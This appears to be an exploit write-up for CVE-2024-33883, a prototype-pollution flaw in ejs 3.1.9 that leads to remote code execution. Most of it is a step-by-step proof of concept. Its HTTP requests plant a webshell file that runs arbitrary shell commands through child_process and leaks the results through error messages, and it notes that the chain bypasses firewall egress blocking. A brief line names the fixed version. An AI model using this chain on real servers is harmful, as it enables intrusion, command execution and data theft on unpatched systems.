## https://sploitus.com/exploit?id=2C1A96A0-A195-5273-B608-1087B423B73A
# CVE-2024-33883
### ejs@3.1.9, Insufficient Prototype Pollution Validation Leading to RCE Exploitation
- With prototype pollution, set opts.client to truthy value (condition)
- Then, when render() runs, ejs will run opts.escapeFunction value as JS code.
## Vulnerable Code Range
Based on ejs@3.1.9
**1. ejs/lib/ejs.js - line 580, 636, 637**
## PoC (Inject webshell & activate)
```
1. GET /pollute?target=client&value=1
2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");
3. GET /
- Inject webshell
4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");
5. GET /
- Activate webshell
```
- Above PoC can bypass outbound packet drop of ufw firewall.
- **All version under 3.1.10 is vulnerable for this type of attack.**
- This is RCE vulnerability, and do not abuse on live server.
## Attack available condition
1. Needs control of render().
2. Needs control of prototype pollution attack vector.
- Above two condition holds, RCE attack is available.
## How can I prevent this attack?
- Fixed version(ejs@3.1.10) is available now.